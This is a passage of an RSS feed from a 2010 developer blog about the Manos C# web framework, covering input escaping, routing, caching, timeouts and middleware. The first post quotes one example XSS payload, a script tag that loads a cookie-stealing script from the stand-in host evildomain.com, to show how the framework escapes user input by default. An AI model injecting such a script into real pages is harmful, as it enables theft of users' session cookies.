 ctx.Response.WriteLine (@"&amp;lt;html&amp;gt;
                  &amp;lt;head&amp;gt;&amp;lt;title&amp;gt;Welcome to Shorty&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;
                     &amp;lt;body&amp;gt;
                        {0} was clicked {1} times.
                     &amp;lt;/body&amp;gt;", info.Link, info.Clicks);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;So imagine someone tried to submit this as a link:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;script type=text/javascript src="http://evildomain.com/steal-cookies.js"&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Now any time someone visits the LinkInfo page for that domain, they are going to run the steal-cookies.js script from evildomain.com. Which will presumably steal your cookies. Right?&lt;/p&gt;

&lt;p&gt;Wrong.  It turns out Manos encodes all user input by default.  All strings that come from the url, form data, or as params are not stored as strings, they are stored as an UnsafeString and escaped before being passed into methods as a parameter.&lt;/p&gt;

&lt;p&gt;So when our SubmitLink function is called we don&amp;#8217;t get &amp;#8220;&lt;script as the link we get if really want original unsafe string can just use that our argument:&gt;

&lt;pre&gt;&lt;code&gt;void SubmitLink (Shorty app, IManosContext ctx, UnsafeString link)
 {
       /// be very very careful 
 }


&lt;p&gt;So once we have an UnsafeString there are a few things we can do with it.  We can access the original value with the UnsafeString::Value property.  Or we can get a safe escaped value using UnsafeString::SafeValue.&lt;/script&gt;&lt;/p&gt;

&lt;p&gt;Its not implemented yet, but there will be a CleanHtml property added eventually.  This will get a valid html string from the value, using a white list of allowed elements/attributes.&lt;/p&gt;

&lt;h2&gt;On going&lt;/h2&gt;

&lt;p&gt;This helps protect against one attack vector and I think is a good start. However, there are still a lot of other things to worry about.  The next issue I want to work on is Cross-site request forgery attacks.&lt;/p&gt;

&lt;p&gt;As always, and feedback or advice is appreciated.&lt;/p&gt;</description><link>http://jacksonh.tumblr.com/post/1144502089</link><guid>http://jacksonh.tumblr.com/post/1144502089</guid><pubDate>Sat, 18 Sep 2010 14:13:51 -0400</pubDate></item><item><title>Bundled Docs in Manos</title><description>&lt;p&gt;Originally I was planning on just hosting the Manos docs on the project site. I&amp;#8217;ve never really used offline doc tools like Monodoc for whatever reason I&amp;#8217;ve always just been more comfortable using my browser to read docs online.&lt;/p&gt;

&lt;p&gt;Unfortunately, there are two issues with online docs.&lt;/p&gt;

&lt;p&gt;The first one is obvious.  Sometimes you can&amp;#8217;t access them.  Either because you don&amp;#8217;t have internet, or something is broken on their side.&lt;/p&gt;

&lt;p&gt;The second problem is a little more subtle but can cause big problems. You need to make sure the docs you are reading match the version you have installed. In some cases, even the type of installation you have is important.  For example, file layout might be different across different operating systems.&lt;/p&gt;

&lt;p&gt;To combat these two issues I&amp;#8217;ve added a -docs command to the manos tool.  This will start a manos server on port 8181 that hosts the docs that were installed with manos.  So you can go to http://localhost:8181/ in your browser and know you are reading the correct version of docs for your manos install.&lt;/p&gt;</description><link>http://jacksonh.tumblr.com/post/1132323535</link><guid>http://jacksonh.tumblr.com/post/1132323535</guid><pubDate>Thu, 16 Sep 2010 11:33:28 -0400</pubDate></item><item><title>Command Line Args for Manos Apps</title><description>&lt;p&gt;One of the use cases for Manos is embedding a web server in your app. So it would be natural to do something like this:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;int level_of_foo = 15;
.....
var app = new FooApp ("Some foo string", level_of_foo);
AppHost.Start (app);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;However there are two other ways you can invoke a manos app.  You can compile your app into an exe (not supported yet) or you can use the manos tool in your application directory:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;manos -server
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This will find your app&amp;#8217;s .dll, load it and host your app.&lt;/p&gt;

&lt;p&gt;To handle the second two scenarios your app needed a default constructor.  I don&amp;#8217;t want to force people to create stub applications just to have constructor parameters, so the manos -server command now supports passing arguments to the constructor on the command line.  It does type conversion on all the params, finds a constructor that matches what was passed, and creates your app.&lt;/p&gt;

&lt;p&gt;So this does the same thing as the top example:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;manos -server "Some foo string" 15
&lt;/code&gt;&lt;/pre&gt;</description><link>http://jacksonh.tumblr.com/post/1121284908</link><guid>http://jacksonh.tumblr.com/post/1121284908</guid><pubDate>Tue, 14 Sep 2010 11:23:00 -0400</pubDate></item><item><title>You can call Contains with a Type as the key, but you...</title><description>&lt;img src="http://24.media.tumblr.com/tumblr_l8e7b8dJQn1qcmw7mo1_500.png"/&gt;&lt;br/&gt;&lt;br/&gt;&lt;p&gt;You can call Contains with a Type as the key, but you can’t call Add with a Type as the key.&lt;/p&gt;

&lt;p&gt;And for some reason apps rely on this behavior.&lt;/p&gt;</description><link>http://jacksonh.tumblr.com/post/1082466780</link><guid>http://jacksonh.tumblr.com/post/1082466780</guid><pubDate>Tue, 07 Sep 2010 15:54:44 -0400</pubDate></item><item><title>Simple Route Patterns in Manos</title><description>&lt;p&gt;After looking at some ugly regexs I decided to implement a simple pattern matching system for routes in Manos. You can now use strings like this for your routes:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;[Get ("/articles/{slug}/{page}")]
public static void Articles (ManosApp app, IManosContext ctx, string slug, int page)
{
}

[Route ("/{foo}/{bar}")]
public void Foo (IManosContext ctx)
{
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Everything inside of the { } block is matched as a string, but can be converted to any type by the action invoker.&lt;/p&gt;

&lt;p&gt;If you really want a { in your url string (even though its an illegal url char) you can double them up for escaping {{ or }}.  Note: I might just disable this feature since its kind of pointless.&lt;/p&gt;</description><link>http://jacksonh.tumblr.com/post/1079473701</link><guid>http://jacksonh.tumblr.com/post/1079473701</guid><pubDate>Tue, 07 Sep 2010 01:01:03 -0400</pubDate></item><item><title>Updates to the routing system in Manos</title><description>&lt;p&gt;I spent my memorial day updating the routing system in Manos to allow for parameterized actions.  Originally actions in Manos were simply a delegate that returned void and took an IManosContext param.  This made some things simple, but also made the API a little clunky to work with.  Here&amp;#8217;s an example of what things sometimes looked like:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;[Get ("/Article/(?&amp;lt;slug&amp;gt;.*?)/(?&amp;lt;index&amp;gt;\\d+?)")]
public void Foo (IManosContext ctx)
{
    MyManosApp app = (MyManosApp) ctx.App;

    if (app.SomePropOnMyApp) {
          // ....
    }

    string slug = ctx.Request.Data ["slug"];
    int index = Int32.Parse (ctx.Request.Data ["index"];
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Having to cast the IManosContext::ManosApp to the applications App type is rather awkward and is something that has bothered me for awhile.  Unfortunately because Actions are a static delegate and the context is a static interface, there wasn&amp;#8217;t much I could do about it.&lt;/p&gt;

&lt;p&gt;On top of that, the Int32.Parse is rather scary looking.&lt;/p&gt;

&lt;p&gt;Today I came up with a system that allows me to pass an application specific ManosApp type to the actions and as a side benefit I can also pass in request data as parameters. So the updated example looks like this:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;[Get ("/Article/(?&amp;lt;slug&amp;gt;.*?)/(?&amp;lt;index&amp;gt;\\d+?)")]
public void Foo (MyManosApp app, IManosContext ctx, string slug, int index)
{
    if (app.SomePropOnMyApp) {
          // ....
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h2&gt;Implicit Routes&lt;/h2&gt;

&lt;p&gt;Implicit routes are still available, anything that has the correct signature will have an implicit route based on method name added for it:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;public void Bar (IManosContext ctx)
{
}

public void Baz (MyManosApp app, IManosContext ctx, string foo)
{
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;I also added explicit routing for ManosModule properties:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;[Route ("/Articles")]
public ArticlesModule Articles {
    get { 
        // ...
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h2&gt;Routing Methods&lt;/h2&gt;

&lt;p&gt;Finally, all of the routing methods are still available, you can still do stuff like this if you want:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;public MyApp ()
{
    Get ("/Foobar", ctx =&amp;gt; ctx.Response.Write ("Hello, Foobar"));

    Route ("/Admin", new AdminModule ());
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h2&gt;OH GOD MY EYES!&lt;/h2&gt;

&lt;p&gt;Writing this blog entry has made me realize the need for something simpler than regex for pattern matching.  Luckily Manos was designed to have a swappable matching system, so users can easily add their own matching system and I can take advantage of that system to make my new system.  Expect to see something like this in Manos really soon:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;[Get ("/Article/{slug}/{index}")]
public static void Foo (IManosContext ctx)
{
}    
&lt;/code&gt;&lt;/pre&gt;

&lt;h2&gt;More info&lt;/h2&gt;

&lt;p&gt;Its rough, but here is my first draft on the routing docs:&lt;/p&gt;

&lt;p&gt;&lt;a href="http://github.com/jacksonh/manos/blob/master/docs/routing.md"&gt;&lt;a href="http://github.com/jacksonh/manos/blob/master/docs/routing.md"&gt;http://github.com/jacksonh/manos/blob/master/docs/routing.md&lt;/a&gt;&lt;/a&gt;&lt;/p&gt;</description><link>http://jacksonh.tumblr.com/post/1078471382</link><guid>http://jacksonh.tumblr.com/post/1078471382</guid><pubDate>Mon, 06 Sep 2010 21:16:15 -0400</pubDate></item><item><title>More Manos Manuals: Timeouts and Object Caching and a release coming soon</title><description>&lt;p&gt;Just added some more docs on Manos.&lt;/p&gt;

&lt;h2&gt;Timeouts&lt;/h2&gt;

&lt;p&gt;The first doc I added is on the timeout system for scheduling periodic tasks to be performed in the Manos pipeline. Here&amp;#8217;s a quick example:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;MyManosApp ()
{
    AddTimeout (TimeSpan.FromMinutes (5), 
                       RepeatBehavior.Forever, 
                       (app, data) =&amp;gt; app.Cache.Clear ());
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;That will clear the application&amp;#8217;s object cache every five minutes.  You can also specifiy a number of iterations using RepeatBehavior.Iterations (count) or create a custom repeat behavior using the IRepeatBehavior interface.&lt;/p&gt;

&lt;p&gt;Timeouts are just for simple tasks, they run in the main message loop, so there aren&amp;#8217;t guarantees on when they will fire, and they will not fire if the application is stopped.  So timeouts should not be treated as a task scheduler system like django&amp;#8217;s Celery project.  In the future I will be adding a robust task scheduling system to Manos though.&lt;/p&gt;

&lt;p&gt;More info can be found here:&lt;/p&gt;

&lt;p&gt;&lt;a href="http://github.com/jacksonh/manos/blob/master/docs/timeouts.md"&gt;&lt;a href="http://github.com/jacksonh/manos/blob/master/docs/timeouts.md"&gt;http://github.com/jacksonh/manos/blob/master/docs/timeouts.md&lt;/a&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;Object Caching&lt;/h2&gt;

&lt;p&gt;The object cache is simply a server side cache for storing objects by key.  This isn&amp;#8217;t for view/page caching, this is just for sticking objects in a temporary storage area while the app is running. Right now there is only an in-process cache, but I&amp;#8217;m planning on adding a memcached backend this week.&lt;/p&gt;

&lt;p&gt;Here&amp;#8217;s a quick example:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;MyManosApp ()
{
    Cache ["foobar"] = "I am the foobar string";
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The one feature that the cache offers that&amp;#8217;s beyond a simple dictionary interface is time based expiration.  So if you want your object to go away in 15 minutes, you can just do this:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;MyManosApp ()
{
    Cache.Set ("foobar",
                     "I am the foobar string", 
                     TimeSpan.FromMinutes (15));
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The rest of the doc can be found here:&lt;/p&gt;

&lt;p&gt;&lt;a href="http://github.com/jacksonh/manos/blob/master/docs/object-cache.md"&gt;&lt;a href="http://github.com/jacksonh/manos/blob/master/docs/object-cache.md"&gt;http://github.com/jacksonh/manos/blob/master/docs/object-cache.md&lt;/a&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;Coming Soon&lt;/h2&gt;

&lt;p&gt;Manos is starting to gain some interest and I&amp;#8217;m hoping to do a stripped down release in the next couple of weeks. I&amp;#8217;m still not happy with the templating system, so that will probably be disabled, but building things like web services should be pretty easy. And you can always build websites using a different templating system like &lt;a href="http://www.stringtemplate.org/"&gt;StringTemplate&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I still haven&amp;#8217;t done a comprehensive what/why/how document for Manos that will explain what it does, why i think its useful and how it works.  I&amp;#8217;ve been intentionally avoiding this because I don&amp;#8217;t like announcing things that aren&amp;#8217;t usable, but unfortunately all my &amp;#8216;feedback requested&amp;#8217; blog entries lately have done that for me.  This document should be out around the same time as the release.&lt;/p&gt;</description><link>http://jacksonh.tumblr.com/post/1070023078</link><guid>http://jacksonh.tumblr.com/post/1070023078</guid><pubDate>Sun, 05 Sep 2010 11:30:00 -0400</pubDate></item><item><title>Nice doc on the resource stream locator format in Silverlight</title><description>&lt;a href="http://msdn.microsoft.com/en-us/library/cc296240(VS.95).aspx"&gt;Nice doc on the resource stream locator format in Silverlight&lt;/a&gt;</description><link>http://jacksonh.tumblr.com/post/1059377245</link><guid>http://jacksonh.tumblr.com/post/1059377245</guid><pubDate>Fri, 03 Sep 2010 13:44:00 -0400</pubDate></item><item><title>First draft of Manos middleware docs</title><description>&lt;p&gt;I just committed my first draft of documentation for Manos&amp;#8217;s middleware layer. Its a pretty quick and easy read and I&amp;#8217;d appreciate any questions, comments, death threats or concerns that you may have. The doc is written in markdown so you can read is pretty easily on github here:&lt;/p&gt;

&lt;p&gt;&lt;a href="http://github.com/jacksonh/manos/blob/master/docs/middleware.md"&gt;&lt;a href="http://github.com/jacksonh/manos/blob/master/docs/middleware.md"&gt;http://github.com/jacksonh/manos/blob/master/docs/middleware.md&lt;/a&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Things still need to be fleshed out, especially with some examples of what methods can be called from inside the middleware hooks, but this gives you a basic idea.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Gist&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Middleware gives your application an easy way to &amp;#8220;do something&amp;#8221; for every request/response transaction that goes into an application.&lt;/p&gt;

&lt;p&gt;You get these methods to register middleware:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;RegisterMiddleware (IManosMiddleware mw);
RegisterMiddleware (string name, IManosMiddleware mw);

RegisterMiddlewareBefore (IManosMiddleware mw);
RegisterMiddlewareBefore (string name, IManosMiddleware mw);
RegisterMiddlewareAfter (IManosMiddleware mw);
RegisterMiddlewareAfter (string name, IManosMiddleware mw);

ReplaceMiddleware (string name, IManosMiddleware mw);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;And your middleware can override any of these methods:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;ProcessRequest (IManosContext)
PreProcessAction (IManosContext, IManosTarget)
PostProcessAction (IManosContext)
ProcessError (IManosContext)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;From those methods you can easily re-write parts of the request, redirect to another URL, abort the transaction, manipulate the generated html or just log something to disk.  Really the sky is the limit.&lt;/p&gt;

&lt;p&gt;Most developers will never have to write their own middleware but a lot of really important plumbing pieces of a web framework can be written using middleware.  Things such as the auth system, rate limiting, url rewriting, and red/black testing are important components of a web application and will make use of the middleware layer.  So its important that I get this part right.&lt;/p&gt;</description><link>http://jacksonh.tumblr.com/post/1051380503</link><guid>http://jacksonh.tumblr.com/post/1051380503</guid><pubDate>Wed, 01 Sep 2010 23:43:51 -0400</pubDate></item><item><title>Some cute C# tricks</title><description>&lt;a href="http://geekswithblogs.net/BlackRabbitCoder/archive/2010/08/26/c.net-five-little-wonders-that-make-code-better-1-of.aspx"&gt;Some cute C# tricks&lt;/a&gt;</description><link>http://jacksonh.tumblr.com/post/1050723740</link><guid>http://jacksonh.tumblr.com/post/1050723740</guid><pubDate>Wed, 01 Sep 2010 21:18:45 -0400</pubDate></item></channel></rss>
